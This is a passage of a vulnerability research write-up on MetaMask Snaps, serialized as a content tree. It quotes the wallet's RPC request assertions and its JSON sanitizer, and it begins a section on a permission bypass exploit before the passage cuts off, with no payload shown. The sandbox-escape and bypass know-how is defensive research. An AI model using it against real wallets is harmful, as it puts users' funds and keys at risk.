evaluated within the sandboxed ",{"type":26,"tag":53,"props":37788,"children":37790},{"className":37789},[],[37791],{"type":32,"value":37111},{"type":32,"value":37793}," environment of that Compartment.",{"type":26,"tag":35,"props":37795,"children":37796},{},[37797],{"type":32,"value":37798},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":26,"tag":27,"props":37800,"children":37802},{"id":37801},"vulnerability-research",[37803],{"type":32,"value":37804},"Vulnerability research",{"type":26,"tag":41,"props":37806,"children":37808},{"id":37807},"possible-attacks",[37809],{"type":32,"value":37810},"Possible attacks",{"type":26,"tag":35,"props":37812,"children":37813},{},[37814],{"type":32,"value":37815},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":26,"tag":82,"props":37817,"children":37818},{},[37819,37824,37829,37834],{"type":26,"tag":86,"props":37820,"children":37821},{},[37822],{"type":32,"value":37823},"Broken SES Container isolation",{"type":26,"tag":86,"props":37825,"children":37826},{},[37827],{"type":32,"value":37828},"Insecure endowments in Containers",{"type":26,"tag":86,"props":37830,"children":37831},{},[37832],{"type":32,"value":37833},"Incorrect RPC permission checks",{"type":26,"tag":86,"props":37835,"children":37836},{},[37837],{"type":32,"value":37838},"Insecure snap installation/update",{"type":26,"tag":35,"props":37840,"children":37841},{},[37842],{"type":32,"value":37843},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":26,"tag":35,"props":37845,"children":37846},{},[37847],{"type":32,"value":37848},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":26,"tag":41,"props":37850,"children":37852},{"id":37851},"rpc-interfaces-endowments",[37853],{"type":32,"value":37854},"RPC interfaces endowments",{"type":26,"tag":70,"props":37856,"children":37858},{"id":37857},"providers-limitations",[37859],{"type":32,"value":37860},"Providers limitations",{"type":26,"tag":35,"props":37862,"children":37863},{},[37864,37866,37872,37873,37878,37880,37887],{"type":32,"value":37865},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":26,"tag":53,"props":37867,"children":37869},{"className":37868},[],[37870],{"type":32,"value":37871},"snap",{"type":32,"value":209},{"type":26,"tag":53,"props":37874,"children":37876},{"className":37875},[],[37877],{"type":32,"value":31117},{"type":32,"value":37879}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":26,"tag":116,"props":37881,"children":37884},{"href":37882,"rel":37883},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[120],[37885],{"type":32,"value":37886},"methods",{"type":32,"value":179},{"type":26,"tag":465,"props":37889,"children":37891},{"className":35309,"code":37890,"language":35311,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[37892],{"type":26,"tag":53,"props":37893,"children":37894},{"__ignoreMap":7},[37895,37935,37943,37955,38025,38086,38098,38106,38117,38157,38187,38199,38224,38231,38239,38246,38284],{"type":26,"tag":475,"props":37896,"children":37897},{"class":477,"line":478},[37898,37903,37908,37913,37917,37922,37926,37931],{"type":26,"tag":475,"props":37899,"children":37900},{"style":586},[37901],{"type":32,"value":37902},"export",{"type":26,"tag":475,"props":37904,"children":37905},{"style":482},[37906],{"type":32,"value":37907}," function",{"type":26,"tag":475,"props":37909,"children":37910},{"style":493},[37911],{"type":32,"value":37912}," assertSnapOutboundRequest",{"type":26,"tag":475,"props":37914,"children":37915},{"style":499},[37916],{"type":32,"value":626},{"type":26,"tag":475,"props":37918,"children":37919},{"style":2375},[37920],{"type":32,"value":37921},"args",{"type":26,"tag":475,"props":37923,"children":37924},{"style":714},[37925],{"type":32,"value":179},{"type":26,"tag":475,"props":37927,"children":37928},{"style":505},[37929],{"type":32,"value":37930}," RequestArguments",{"type":26,"tag":475,"props":37932,"children":37933},{"style":499},[37934],{"type":32,"value":676},{"type":26,"tag":475,"props":37936,"children":37937},{"class":477,"line":516},[37938],{"type":26,"tag":475,"props":37939,"children":37940},{"style":552},[37941],{"type":32,"value":37942}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":26,"tag":475,"props":37944,"children":37945},{"class":477,"line":539},[37946,37951],{"type":26,"tag":475,"props":37947,"children":37948},{"style":493},[37949],{"type":32,"value":37950}," assert",{"type":26,"tag":475,"props":37952,"children":37953},{"style":499},[37954],{"type":32,"value":3169},{"type":26,"tag":475,"props":37956,"children":37957},{"class":477,"line":548},[37958,37963,37967,37972,37976,37981,37985,37990,37994,37998,38002,38007,38011,38016,38020],{"type":26,"tag":475,"props":37959,"children":37960},{"style":505},[37961],{"type":32,"value":37962}," String",{"type":26,"tag":475,"props":37964,"children":37965},{"style":499},[37966],{"type":32,"value":353},{"type":26,"tag":475,"props":37968,"children":37969},{"style":2375},[37970],{"type":32,"value":37971},"prototype",{"type":26,"tag":475,"props":37973,"children":37974},{"style":499},[37975],{"type":32,"value":353},{"type":26,"tag":475,"props":37977,"children":37978},{"style":2375},[37979],{"type":32,"value":37980},"startsWith",{"type":26,"tag":475,"props":37982,"children":37983},{"style":499},[37984],{"type":32,"value":353},{"type":26,"tag":475,"props":37986,"children":37987},{"style":493},[37988],{"type":32,"value":37989},"call",{"type":26,"tag":475,"props":37991,"children":37992},{"style":499},[37993],{"type":32,"value":626},{"type":26,"tag":475,"props":37995,"children":37996},{"style":2375},[37997],{"type":32,"value":37921},{"type":26,"tag":475,"props":37999,"children":38000},{"style":499},[38001],{"type":32,"value":353},{"type":26,"tag":475,"props":38003,"children":38004},{"style":2375},[38005],{"type":32,"value":38006},"method",{"type":26,"tag":475,"props":38008,"children":38009},{"style":499},[38010],{"type":32,"value":637},{"type":26,"tag":475,"props":38012,"children":38013},{"style":629},[38014],{"type":32,"value":38015},"'wallet_'",{"type":26,"tag":475,"props":38017,"children":38018},{"style":499},[38019],{"type":32,"value":2794},{"type":26,"tag":475,"props":38021,"children":38022},{"style":714},[38023],{"type":32,"value":38024},"||\n",{"type":26,"tag":475,"props":38026,"children":38027},{"class":477,"line":558},[38028,38033,38037,38041,38045,38049,38053,38057,38061,38065,38069,38073,38077,38082],{"type":26,"tag":475,"props":38029,"children":38030},{"style":505},[38031],{"type":32,"value":38032}," String",{"type":26,"tag":475,"props":38034,"children":38035},{"style":499},[38036],{"type":32,"value":353},{"type":26,"tag":475,"props":38038,"children":38039},{"style":2375},[38040],{"type":32,"value":37971},{"type":26,"tag":475,"props":38042,"children":38043},{"style":499},[38044],{"type":32,"value":353},{"type":26,"tag":475,"props":38046,"children":38047},{"style":2375},[38048],{"type":32,"value":37980},{"type":26,"tag":475,"props":38050,"children":38051},{"style":499},[38052],{"type":32,"value":353},{"type":26,"tag":475,"props":38054,"children":38055},{"style":493},[38056],{"type":32,"value":37989},{"type":26,"tag":475,"props":38058,"children":38059},{"style":499},[38060],{"type":32,"value":626},{"type":26,"tag":475,"props":38062,"children":38063},{"style":2375},[38064],{"type":32,"value":37921},{"type":26,"tag":475,"props":38066,"children":38067},{"style":499},[38068],{"type":32,"value":353},{"type":26,"tag":475,"props":38070,"children":38071},{"style":2375},[38072],{"type":32,"value":38006},{"type":26,"tag":475,"props":38074,"children":38075},{"style":499},[38076],{"type":32,"value":637},{"type":26,"tag":475,"props":38078,"children":38079},{"style":629},[38080],{"type":32,"value":38081},"'snap_'",{"type":26,"tag":475,"props":38083,"children":38084},{"style":499},[38085],{"type":32,"value":6450},{"type":26,"tag":475,"props":38087,"children":38088},{"class":477,"line":582},[38089,38094],{"type":26,"tag":475,"props":38090,"children":38091},{"style":629},[38092],{"type":32,"value":38093}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":26,"tag":475,"props":38095,"children":38096},{"style":499},[38097],{"type":32,"value":2425},{"type":26,"tag":475,"props":38099,"children":38100},{"class":477,"line":596},[38101],{"type":26,"tag":475,"props":38102,"children":38103},{"style":499},[38104],{"type":32,"value":38105}," );\n",{"type":26,"tag":475,"props":38107,"children":38108},{"class":477,"line":610},[38109,38113],{"type":26,"tag":475,"props":38110,"children":38111},{"style":493},[38112],{"type":32,"value":37950},{"type":26,"tag":475,"props":38114,"children":38115},{"style":499},[38116],{"type":32,"value":3169},{"type":26,"tag":475,"props":38118,"children":38119},{"class":477,"line":650},[38120,38124,38129,38133,38137,38141,38145,38149,38153],{"type":26,"tag":475,"props":38121,"children":38122},{"style":714},[38123],{"type":32,"value":20678},{"type":26,"tag":475,"props":38125,"children":38126},{"style":2375},[38127],{"type":32,"value":38128},"BLOCKED_RPC_METHODS",{"type":26,"tag":475,"props":38130,"children":38131},{"style":499},[38132],{"type":32,"value":353},{"type":26,"tag":475,"props":38134,"children":38135},{"style":493},[38136],{"type":32,"value":34876},{"type":26,"tag":475,"props":38138,"children":38139},{"style":499},[38140],{"type":32,"value":626},{"type":26,"tag":475,"props":38142,"children":38143},{"style":2375},[38144],{"type":32,"value":37921},{"type":26,"tag":475,"props":38146,"children":38147},{"style":499},[38148],{"type":32,"value":353},{"type":26,"tag":475,"props":38150,"children":38151},{"style":2375},[38152],{"type":32,"value":38006},{"type":26,"tag":475,"props":38154,"children":38155},{"style":499},[38156],{"type":32,"value":6450},{"type":26,"tag":475,"props":38158,"children":38159},{"class":477,"line":679},[38160,38165,38169,38174,38178,38183],{"type":26,"tag":475,"props":38161,"children":38162},{"style":2375},[38163],{"type":32,"value":38164}," ethErrors",{"type":26,"tag":475,"props":38166,"children":38167},{"style":499},[38168],{"type":32,"value":353},{"type":26,"tag":475,"props":38170,"children":38171},{"style":2375},[38172],{"type":32,"value":38173},"rpc",{"type":26,"tag":475,"props":38175,"children":38176},{"style":499},[38177],{"type":32,"value":353},{"type":26,"tag":475,"props":38179,"children":38180},{"style":493},[38181],{"type":32,"value":38182},"methodNotFound",{"type":26,"tag":475,"props":38184,"children":38185},{"style":499},[38186],{"type":32,"value":14846},{"type":26,"tag":475,"props":38188,"children":38189},{"class":477,"line":735},[38190,38195],{"type":26,"tag":475,"props":38191,"children":38192},{"style":2375},[38193],{"type":32,"value":38194}," data:",{"type":26,"tag":475,"props":38196,"children":38197},{"style":499},[38198],{"type":32,"value":579},{"type":26,"tag":475,"props":38200,"children":38201},{"class":477,"line":744},[38202,38207,38212,38216,38220],{"type":26,"tag":475,"props":38203,"children":38204},{"style":2375},[38205],{"type":32,"value":38206}," method:",{"type":26,"tag":475,"props":38208,"children":38209},{"style":2375},[38210],{"type":32,"value":38211}," args",{"type":26,"tag":475,"props":38213,"children":38214},{"style":499},[38215],{"type":32,"value":353},{"type":26,"tag":475,"props":38217,"children":38218},{"style":2375},[38219],{"type":32,"value":38006},{"type":26,"tag":475,"props":38221,"children":38222},{"style":499},[38223],{"type":32,"value":2425},{"type":26,"tag":475,"props":38225,"children":38226},{"class":477,"line":753},[38227],{"type":26,"tag":475,"props":38228,"children":38229},{"style":499},[38230],{"type":32,"value":36893},{"type":26,"tag":475,"props":38232,"children":38233},{"class":477,"line":761},[38234],{"type":26,"tag":475,"props":38235,"children":38236},{"style":499},[38237],{"type":32,"value":38238}," }),\n",{"type":26,"tag":475,"props":38240,"children":38241},{"class":477,"line":770},[38242],{"type":26,"tag":475,"props":38243,"children":38244},{"style":499},[38245],{"type":32,"value":38105},{"type":26,"tag":475,"props":38247,"children":38248},{"class":477,"line":794},[38249,38254,38258,38262,38266,38271,38275,38280],{"type":26,"tag":475,"props":38250,"children":38251},{"style":493},[38252],{"type":32,"value":38253}," assertStruct",{"type":26,"tag":475,"props":38255,"children":38256},{"style":499},[38257],{"type":32,"value":626},{"type":26,"tag":475,"props":38259,"children":38260},{"style":2375},[38261],{"type":32,"value":37921},{"type":26,"tag":475,"props":38263,"children":38264},{"style":499},[38265],{"type":32,"value":637},{"type":26,"tag":475,"props":38267,"children":38268},{"style":2375},[38269],{"type":32,"value":38270},"JsonStruct",{"type":26,"tag":475,"props":38272,"children":38273},{"style":499},[38274],{"type":32,"value":637},{"type":26,"tag":475,"props":38276,"children":38277},{"style":629},[38278],{"type":32,"value":38279},"'Provided value is not JSON-RPC compatible'",{"type":26,"tag":475,"props":38281,"children":38282},{"style":499},[38283],{"type":32,"value":3533},{"type":26,"tag":475,"props":38285,"children":38286},{"class":477,"line":831},[38287],{"type":26,"tag":475,"props":38288,"children":38289},{"style":499},[38290],{"type":32,"value":3607},{"type":26,"tag":35,"props":38292,"children":38293},{},[38294,38296,38301,38303,38309,38310,38316],{"type":32,"value":38295},"This function is called by the ",{"type":26,"tag":53,"props":38297,"children":38299},{"className":38298},[],[38300],{"type":32,"value":37871},{"type":32,"value":38302}," RPC provider, so it can only send methods starting with ",{"type":26,"tag":53,"props":38304,"children":38306},{"className":38305},[],[38307],{"type":32,"value":38308},"wallet_",{"type":32,"value":455},{"type":26,"tag":53,"props":38311,"children":38313},{"className":38312},[],[38314],{"type":32,"value":38315},"snap_",{"type":32,"value":38317},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":26,"tag":35,"props":38319,"children":38320},{},[38321,38323,38328,38330,38335,38337,38343],{"type":32,"value":38322},"On the other hand, the ",{"type":26,"tag":53,"props":38324,"children":38326},{"className":38325},[],[38327],{"type":32,"value":31117},{"type":32,"value":38329}," provider only blocks methods starting with ",{"type":26,"tag":53,"props":38331,"children":38333},{"className":38332},[],[38334],{"type":32,"value":38315},{"type":32,"value":38336}," and the blocked methods. However, it requires the ",{"type":26,"tag":53,"props":38338,"children":38340},{"className":38339},[],[38341],{"type":32,"value":38342},"endowment:ethereum-provider",{"type":32,"value":38344}," permission in the snap manifest.",{"type":26,"tag":70,"props":38346,"children":38348},{"id":38347},"execution-flow",[38349],{"type":32,"value":38350},"Execution flow",{"type":26,"tag":35,"props":38352,"children":38353},{},[38354,38356,38361,38362,38367,38369,38374,38375,38381],{"type":32,"value":38355},"Both providers (",{"type":26,"tag":53,"props":38357,"children":38359},{"className":38358},[],[38360],{"type":32,"value":37871},{"type":32,"value":209},{"type":26,"tag":53,"props":38363,"children":38365},{"className":38364},[],[38366],{"type":32,"value":31117},{"type":32,"value":38368},") are built outside the SES container with a ",{"type":26,"tag":53,"props":38370,"children":38372},{"className":38371},[],[38373],{"type":32,"value":31193},{"type":32,"value":6171},{"type":26,"tag":116,"props":38376,"children":38379},{"href":38377,"rel":38378},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[120],[38380],{"type":32,"value":31077},{"type":32,"value":179},{"type":26,"tag":465,"props":38383,"children":38385},{"className":35626,"code":38384,"language":35628,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[38386],{"type":26,"tag":53,"props":38387,"children":38388},{"__ignoreMap":7},[38389,38436,38461,38494,38529,38541,38561,38599,38619,38626,38643,38676,38683],{"type":26,"tag":475,"props":38390,"children":38391},{"class":477,"line":478},[38392,38396,38400,38404,38408,38412,38416,38420,38424,38428,38432],{"type":26,"tag":475,"props":38393,"children":38394},{"style":482},[38395],{"type":32,"value":35883},{"type":26,"tag":475,"props":38397,"children":38398},{"style":493},[38399],{"type":32,"value":31082},{"type":26,"tag":475,"props":38401,"children":38402},{"style":714},[38403],{"type":32,"value":2383},{"type":26,"tag":475,"props":38405,"children":38406},{"style":482},[38407],{"type":32,"value":36059},{"type":26,"tag":475,"props":38409,"children":38410},{"style":499},[38411],{"type":32,"value":2775},{"type":26,"tag":475,"props":38413,"children":38414},{"style":2375},[38415],{"type":32,"value":37921},{"type":26,"tag":475,"props":38417,"children":38418},{"style":714},[38419],{"type":32,"value":179},{"type":26,"tag":475,"props":38421,"children":38422},{"style":505},[38423],{"type":32,"value":37930},{"type":26,"tag":475,"props":38425,"children":38426},{"style":499},[38427],{"type":32,"value":2794},{"type":26,"tag":475,"props":38429,"children":38430},{"style":482},[38431],{"type":32,"value":2360},{"type":26,"tag":475,"props":38433,"children":38434},{"style":499},[38435],{"type":32,"value":579},{"type":26,"tag":475,"props":38437,"children":38438},{"class":477,"line":516},[38439,38444,38448,38452,38456],{"type":26,"tag":475,"props":38440,"children":38441},{"style":493},[38442],{"type":32,"value":38443}," assertSnapOutboundRequest",{"type":26,"tag":475,"props":38445,"children":38446},{"style":499},[38447],{"type":32,"value":626},{"type":26,"tag":475,"props":38449,"children":38450},{"style":2375},[38451],{"type":32,"value":37921},{"type":26,"tag":475,"props":38453,"children":38454},{"style":499},[38455],{"type":32,"value":28055},{"type":26,"tag":475,"props":38457,"children":38458},{"style":552},[38459],{"type":32,"value":38460},"// or assertEthereumOutboundRequest(args);\n",{"type":26,"tag":475,"props":38462,"children":38463},{"class":477,"line":539},[38464,38468,38473,38477,38482,38486,38490],{"type":26,"tag":475,"props":38465,"children":38466},{"style":482},[38467],{"type":32,"value":31247},{"type":26,"tag":475,"props":38469,"children":38470},{"style":2375},[38471],{"type":32,"value":38472}," sanitizedArgs",{"type":26,"tag":475,"props":38474,"children":38475},{"style":714},[38476],{"type":32,"value":2383},{"type":26,"tag":475,"props":38478,"children":38479},{"style":493},[38480],{"type":32,"value":38481}," getSafeJson",{"type":26,"tag":475,"props":38483,"children":38484},{"style":499},[38485],{"type":32,"value":626},{"type":26,"tag":475,"props":38487,"children":38488},{"style":2375},[38489],{"type":32,"value":37921},{"type":26,"tag":475,"props":38491,"children":38492},{"style":499},[38493],{"type":32,"value":3533},{"type":26,"tag":475,"props":38495,"children":38496},{"class":477,"line":548},[38497,38502,38506,38511,38515,38519,38524],{"type":26,"tag":475,"props":38498,"children":38499},{"style":482},[38500],{"type":32,"value":38501}," this",{"type":26,"tag":475,"props":38503,"children":38504},{"style":499},[38505],{"type":32,"value":353},{"type":26,"tag":475,"props":38507,"children":38508},{"style":493},[38509],{"type":32,"value":38510},"notify",{"type":26,"tag":475,"props":38512,"children":38513},{"style":499},[38514],{"type":32,"value":31198},{"type":26,"tag":475,"props":38516,"children":38517},{"style":2375},[38518],{"type":32,"value":31203},{"type":26,"tag":475,"props":38520,"children":38521},{"style":629},[38522],{"type":32,"value":38523}," 'OutboundRequest'",{"type":26,"tag":475,"props":38525,"children":38526},{"style":499},[38527],{"type":32,"value":38528}," });\n",{"type":26,"tag":475,"props":38530,"children":38531},{"class":477,"line":558},[38532,38537],{"type":26,"tag":475,"props":38533,"children":38534},{"style":586},[38535],{"type":32,"value":38536}," try",{"type":26,"tag":475,"props":38538,"children":38539},{"style":499},[38540],{"type":32,"value":579},{"type":26,"tag":475,"props":38542,"children":38543},{"class":477,"line":582},[38544,38548,38552,38557],{"type":26,"tag":475,"props":38545,"children":38546},{"style":586},[38547],{"type":32,"value":15449},{"type":26,"tag":475,"props":38549,"children":38550},{"style":586},[38551],{"type":32,"value":2388},{"type":26,"tag":475,"props":38553,"children":38554},{"style":493},[38555],{"type":32,"value":38556}," withTeardown",{"type":26,"tag":475,"props":38558,"children":38559},{"style":499},[38560],{"type":32,"value":3169},{"type":26,"tag":475,"props":38562,"children":38563},{"class":477,"line":596},[38564,38569,38573,38578,38582,38587,38591,38595],{"type":26,"tag":475,"props":38565,"children":38566},{"style":493},[38567],{"type":32,"value":38568}," originalRequest",{"type":26,"tag":475,"props":38570,"children":38571},{"style":499},[38572],{"type":32,"value":626},{"type":26,"tag":475,"props":38574,"children":38575},{"style":2375},[38576],{"type":32,"value":38577},"sanitizedArgs",{"type":26,"tag":475,"props":38579,"children":38580},{"style":586},[38581],{"type":32,"value":8539},{"type":26,"tag":475,"props":38583,"children":38584},{"style":505},[38585],{"type":32,"value":38586}," unknown",{"type":26,"tag":475,"props":38588,"children":38589},{"style":586},[38590],{"type":32,"value":8539},{"type":26,"tag":475,"props":38592,"children":38593},{"style":505},[38594],{"type":32,"value":37930},{"type":26,"tag":475,"props":38596,"children":38597},{"style":499},[38598],{"type":32,"value":6450},{"type":26,"tag":475,"props":38600,"children":38601},{"class":477,"line":610},[38602,38607,38611,38615],{"type":26,"tag":475,"props":38603,"children":38604},{"style":482},[38605],{"type":32,"value":38606}," this",{"type":26,"tag":475,"props":38608,"children":38609},{"style":586},[38610],{"type":32,"value":8539},{"type":26,"tag":475,"props":38612,"children":38613},{"style":505},[38614],{"type":32,"value":10066},{"type":26,"tag":475,"props":38616,"children":38617},{"style":499},[38618],{"type":32,"value":2425},{"type":26,"tag":475,"props":38620,"children":38621},{"class":477,"line":650},[38622],{"type":26,"tag":475,"props":38623,"children":38624},{"style":499},[38625],{"type":32,"value":7455},{"type":26,"tag":475,"props":38627,"children":38628},{"class":477,"line":679},[38629,38634,38639],{"type":26,"tag":475,"props":38630,"children":38631},{"style":499},[38632],{"type":32,"value":38633}," } ",{"type":26,"tag":475,"props":38635,"children":38636},{"style":586},[38637],{"type":32,"value":38638},"finally",{"type":26,"tag":475,"props":38640,"children":38641},{"style":499},[38642],{"type":32,"value":579},{"type":26,"tag":475,"props":38644,"children":38645},{"class":477,"line":735},[38646,38651,38655,38659,38663,38667,38672],{"type":26,"tag":475,"props":38647,"children":38648},{"style":482},[38649],{"type":32,"value":38650}," this",{"type":26,"tag":475,"props":38652,"children":38653},{"style":499},[38654],{"type":32,"value":353},{"type":26,"tag":475,"props":38656,"children":38657},{"style":493},[38658],{"type":32,"value":38510},{"type":26,"tag":475,"props":38660,"children":38661},{"style":499},[38662],{"type":32,"value":31198},{"type":26,"tag":475,"props":38664,"children":38665},{"style":2375},[38666],{"type":32,"value":31203},{"type":26,"tag":475,"props":38668,"children":38669},{"style":629},[38670],{"type":32,"value":38671}," 'OutboundResponse'",{"type":26,"tag":475,"props":38673,"children":38674},{"style":499},[38675],{"type":32,"value":38528},{"type":26,"tag":475,"props":38677,"children":38678},{"class":477,"line":744},[38679],{"type":26,"tag":475,"props":38680,"children":38681},{"style":499},[38682],{"type":32,"value":12372},{"type":26,"tag":475,"props":38684,"children":38685},{"class":477,"line":753},[38686],{"type":26,"tag":475,"props":38687,"children":38688},{"style":499},[38689],{"type":32,"value":1942},{"type":26,"tag":35,"props":38691,"children":38692},{},[38693,38695,38700,38702,38707],{"type":32,"value":38694},"In particular, this function is from the ",{"type":26,"tag":53,"props":38696,"children":38698},{"className":38697},[],[38699],{"type":32,"value":37871},{"type":32,"value":38701}," provider, but the only thing that changes between this and ",{"type":26,"tag":53,"props":38703,"children":38705},{"className":38704},[],[38706],{"type":32,"value":31117},{"type":32,"value":38708}," is the assert function in the first line.",{"type":26,"tag":35,"props":38710,"children":38711},{},[38712],{"type":32,"value":38713},"As we can see in the code, the execution flow follows this pattern:",{"type":26,"tag":181,"props":38715,"children":38716},{},[38717,38729,38734],{"type":26,"tag":86,"props":38718,"children":38719},{},[38720,38722,38727],{"type":32,"value":38721},"Assert if ",{"type":26,"tag":53,"props":38723,"children":38725},{"className":38724},[],[38726],{"type":32,"value":37921},{"type":32,"value":38728}," are valid",{"type":26,"tag":86,"props":38730,"children":38731},{},[38732],{"type":32,"value":38733},"getSafeJson to get sanitizedArgs",{"type":26,"tag":86,"props":38735,"children":38736},{},[38737],{"type":32,"value":38738},"originalRequest(sanitizedArgs)",{"type":26,"tag":35,"props":38740,"children":38741},{},[38742,38744,38750],{"type":32,"value":38743},"Obs: ",{"type":26,"tag":53,"props":38745,"children":38747},{"className":38746},[],[38748],{"type":32,"value":38749},"originalRequest",{"type":32,"value":38751}," makes the RPC call to metamask service worker",{"type":26,"tag":41,"props":38753,"children":38755},{"id":38754},"safe-json-exploit",[38756],{"type":32,"value":38757},"Safe JSON Exploit",{"type":26,"tag":35,"props":38759,"children":38760},{},[38761,38763,38769,38771,38776,38778,38784],{"type":32,"value":38762},"As we dug further into the",{"type":26,"tag":53,"props":38764,"children":38766},{"className":38765},[],[38767],{"type":32,"value":38768},"getSafeJson",{"type":32,"value":38770}," function (defined in ",{"type":26,"tag":53,"props":38772,"children":38774},{"className":38773},[],[38775],{"type":32,"value":36990},{"type":32,"value":38777}," package) we discovered the following ",{"type":26,"tag":116,"props":38779,"children":38782},{"href":38780,"rel":38781},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[120],[38783],{"type":32,"value":53},{"type":32,"value":179},{"type":26,"tag":465,"props":38786,"children":38788},{"className":35309,"code":38787,"language":35311,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[38789],{"type":26,"tag":53,"props":38790,"children":38791},{"__ignoreMap":7},[38792,38857,38884,38908,38963,38971,39018,39034,39041,39058,39065,39072],{"type":26,"tag":475,"props":38793,"children":38794},{"class":477,"line":478},[38795,38799,38804,38809,38813,38818,38822,38827,38831,38835,38840,38845,38849,38853],{"type":26,"tag":475,"props":38796,"children":38797},{"style":586},[38798],{"type":32,"value":37902},{"type":26,"tag":475,"props":38800,"children":38801},{"style":482},[38802],{"type":32,"value":38803}," const",{"type":26,"tag":475,"props":38805,"children":38806},{"style":2375},[38807],{"type":32,"value":38808}," JsonStruct",{"type":26,"tag":475,"props":38810,"children":38811},{"style":714},[38812],{"type":32,"value":2383},{"type":26,"tag":475,"props":38814,"children":38815},{"style":493},[38816],{"type":32,"value":38817}," coerce",{"type":26,"tag":475,"props":38819,"children":38820},{"style":499},[38821],{"type":32,"value":626},{"type":26,"tag":475,"props":38823,"children":38824},{"style":2375},[38825],{"type":32,"value":38826},"UnsafeJsonStruct",{"type":26,"tag":475,"props":38828,"children":38829},{"style":499},[38830],{"type":32,"value":637},{"type":26,"tag":475,"props":38832,"children":38833},{"style":493},[38834],{"type":32,"value":16419},{"type":26,"tag":475,"props":38836,"children":38837},{"style":499},[38838],{"type":32,"value":38839},"(), (",{"type":26,"tag":475,"props":38841,"children":38842},{"style":2375},[38843],{"type":32,"value":38844},"value",{"type":26,"tag":475,"props":38846,"children":38847},{"style":499},[38848],{"type":32,"value":2794},{"type":26,"tag":475,"props":38850,"children":38851},{"style":482},[38852],{"type":32,"value":2360},{"type":26,"tag":475,"props":38854,"children":38855},{"style":499},[38856],{"type":32,"value":579},{"type":26,"tag":475,"props":38858,"children":38859},{"class":477,"line":516},[38860,38864,38868,38872,38876,38880],{"type":26,"tag":475,"props":38861,"children":38862},{"style":493},[38863],{"type":32,"value":38253},{"type":26,"tag":475,"props":38865,"children":38866},{"style":499},[38867],{"type":32,"value":626},{"type":26,"tag":475,"props":38869,"children":38870},{"style":2375},[38871],{"type":32,"value":38844},{"type":26,"tag":475,"props":38873,"children":38874},{"style":499},[38875],{"type":32,"value":637},{"type":26,"tag":475,"props":38877,"children":38878},{"style":2375},[38879],{"type":32,"value":38826},{"type":26,"tag":475,"props":38881,"children":38882},{"style":499},[38883],{"type":32,"value":3533},{"type":26,"tag":475,"props":38885,"children":38886},{"class":477,"line":539},[38887,38892,38896,38900,38904],{"type":26,"tag":475,"props":38888,"children":38889},{"style":586},[38890],{"type":32,"value":38891}," return",{"type":26,"tag":475,"props":38893,"children":38894},{"style":2375},[38895],{"type":32,"value":37222},{"type":26,"tag":475,"props":38897,"children":38898},{"style":499},[38899],{"type":32,"value":353},{"type":26,"tag":475,"props":38901,"children":38902},{"style":493},[38903],{"type":32,"value":823},{"type":26,"tag":475,"props":38905,"children":38906},{"style":499},[38907],{"type":32,"value":3169},{"type":26,"tag":475,"props":38909,"children":38910},{"class":477,"line":548},[38911,38916,38920,38925,38929,38933,38937,38942,38946,38951,38955,38959],{"type":26,"tag":475,"props":38912,"children":38913},{"style":2375},[38914],{"type":32,"value":38915}," JSON",{"type":26,"tag":475,"props":38917,"children":38918},{"style":499},[38919],{"type":32,"value":353},{"type":26,"tag":475,"props":38921,"children":38922},{"style":493},[38923],{"type":32,"value":38924},"stringify",{"type":26,"tag":475,"props":38926,"children":38927},{"style":499},[38928],{"type":32,"value":626},{"type":26,"tag":475,"props":38930,"children":38931},{"style":2375},[38932],{"type":32,"value":38844},{"type":26,"tag":475,"props":38934,"children":38935},{"style":499},[38936],{"type":32,"value":8530},{"type":26,"tag":475,"props":38938,"children":38939},{"style":2375},[38940],{"type":32,"value":38941},"propKey",{"type":26,"tag":475,"props":38943,"children":38944},{"style":499},[38945],{"type":32,"value":637},{"type":26,"tag":475,"props":38947,"children":38948},{"style":2375},[38949],{"type":32,"value":38950},"propValue",{"type":26,"tag":475,"props":38952,"children":38953},{"style":499},[38954],{"type":32,"value":2794},{"type":26,"tag":475,"props":38956,"children":38957},{"style":482},[38958],{"type":32,"value":2360},{"type":26,"tag":475,"props":38960,"children":38961},{"style":499},[38962],{"type":32,"value":579},{"type":26,"tag":475,"props":38964,"children":38965},{"class":477,"line":558},[38966],{"type":26,"tag":475,"props":38967,"children":38968},{"style":552},[38969],{"type":32,"value":38970}," // Strip __proto__ and constructor properties to prevent prototype 